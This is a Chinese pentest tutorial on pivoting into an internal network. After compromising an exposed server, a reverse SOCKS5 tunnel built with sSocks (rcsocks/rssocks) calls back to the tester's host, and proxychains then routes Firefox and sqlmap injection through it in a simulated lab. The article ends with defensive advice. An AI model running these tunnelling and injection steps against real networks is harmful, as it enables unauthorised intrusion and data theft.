Socks代理反彈突破內(nèi)網(wǎng)
隨著信息安全意識(shí)的提升,越來(lái)越多的信息系統(tǒng)前端均部署有防火墻,系統(tǒng)管理員根據(jù)業(yè)務(wù)需求將內(nèi)部必要的服務(wù)端口通過(guò)端口映射等手段映射到公網(wǎng)中,如默認(rèn)web服務(wù)端口80、MSSQL數(shù)據(jù)庫(kù)服務(wù)端口1433等。通過(guò)部署防火墻可以將信息系統(tǒng)內(nèi)部區(qū)域與公網(wǎng)邏輯隔離開(kāi)來(lái),利用相關(guān)的策略有效避免或減輕來(lái)自外部的攻擊。對(duì)于滲透測(cè)試者來(lái)說(shuō),如何繞過(guò)防火墻的阻擋在內(nèi)網(wǎng)展開(kāi)滲透測(cè)試成為亟需解決的問(wèn)題,本文介紹了在奪取映射到外網(wǎng)的內(nèi)網(wǎng)服務(wù)器權(quán)限后,如何利用socks代理反彈獲得內(nèi)網(wǎng)訪問(wèn)權(quán)限。
1. sSocks
sSocks是一個(gè)socks代理工具套裝,可用來(lái)開(kāi)啟socks代理服務(wù),支持socks5驗(yàn)證,支持IPV6和UDP,并提供反向socks代理服務(wù),即將遠(yuǎn)程計(jì)算機(jī)作為socks代理服務(wù)端,反彈回本地,極大方便內(nèi)網(wǎng)的滲透測(cè)試,其最新版為0.0.13,可在以下鏈接處下載。http://sourceforge.net/projects/ssocks/下載解壓后,執(zhí)行命令編譯。./configure && make
編譯完成,進(jìn)入src目錄,會(huì)發(fā)現(xiàn)有nsocks、ssocksd、ssocks、rcsocks,其功能說(shuō)明介紹如下:
程序 功能
nsocks 類似通過(guò)Socks5代理后的netcat,可用來(lái)測(cè)試socks server
ssocksd 用來(lái)開(kāi)啟Socks5代理服務(wù)
ssocks 本地啟用Socks5服務(wù),并反彈到另一IP地址
rcsocks 接收反彈過(guò)來(lái)的Socks5服務(wù),并轉(zhuǎn)向另一端口
2.模擬網(wǎng)絡(luò)環(huán)境說(shuō)明 本文模擬的網(wǎng)絡(luò)環(huán)境見(jiàn)下圖1,滲透測(cè)試端IP為192.168.10.50,內(nèi)網(wǎng)區(qū)域IP段192.168.206.0/24,內(nèi)網(wǎng)區(qū)域能正常訪問(wèn)192.168.10.0/24,現(xiàn)假設(shè)已獲得192.168.206.130權(quán)限。
3.實(shí)施Socks代理反彈
1)本地監(jiān)聽(tīng)端口
在滲透測(cè)試端192.168.10.50執(zhí)行./rcsocks -l 1088 -p 1080 -vv
等待遠(yuǎn)程Socks5服務(wù)器訪問(wèn)本地1080端口,創(chuàng)建端口1080與本地端口1088的連接通道,如圖2。
2)開(kāi)啟Socks5代理服務(wù),反彈
在192.168.206.130上執(zhí)行./rssocks -vv -s 192.168.10.50:1080
啟用Socks5服務(wù),反彈到192.168.10.50的端口1080上,如圖3。
此時(shí)在滲透測(cè)試端192.168.10.50可看到通道連接成功,效果如圖4。
4.利用proxychains進(jìn)行Socks5代理
通過(guò)前面的步驟,Socks5代理已創(chuàng)建完成了。由于在滲透測(cè)試過(guò)程中,需要使用不同的工具程序,而在各程序中分別配置Socks5代理信息較為繁瑣,而部分程序并不支持配置Socks5代理。為了簡(jiǎn)化這些操作,我們可以采用proxychains。
proxychains是一個(gè)代理客戶端軟件,可以支持幾乎所有程序的代理,如ssh,telnet,ftp等。利用proxychains,程序能在代理的環(huán)境下被加載運(yùn)行,而本身不需要具備代理功能。使用前需要對(duì)proxychains進(jìn)行簡(jiǎn)單配置,打開(kāi)配置文件proxychains.conf(在BT5位于/etc/proxychains.conf),如圖5所示,在[ProxyList]處添加
socks5 127.0.0.1 1088
配置成功后若要啟動(dòng)程序,僅需要在啟動(dòng)程序命令前加上proxychains。
1)啟用瀏覽器firefox,在終端執(zhí)行命令:proxychains firefox
firefox啟動(dòng)成功,訪問(wèn)192.168.206.135的web服務(wù)如圖6,通過(guò)代理訪問(wèn)成功。
2)利用sqlmap進(jìn)行注入:
先切換到sqlmap目錄
cd /pentest/database/sqlmap
proxychains python sqlmap.py -u “存在SQL注入的鏈接” –dbs
注入成功,注入點(diǎn)信息及獲取數(shù)據(jù)庫(kù)信息如圖7所示。
5.后記
由于系統(tǒng)管理員的疏忽或者業(yè)務(wù)需求所致,防火墻一般僅對(duì)由外向內(nèi)發(fā)起的數(shù)據(jù)連接進(jìn)行嚴(yán)格判斷、過(guò)濾、甚至阻斷而忽略由內(nèi)往外的連接。因此,在此種情況下,通過(guò)攻陷映射到公網(wǎng)的端口服務(wù),利用反彈便可獲取內(nèi)網(wǎng)訪問(wèn)權(quán)限,給內(nèi)網(wǎng)安全帶來(lái)極大的威脅。在信息安全建設(shè)與運(yùn)維過(guò)程中,不僅要加強(qiáng)映射到公網(wǎng)的服務(wù)安全,也要重視由內(nèi)到外連接的安全威脅。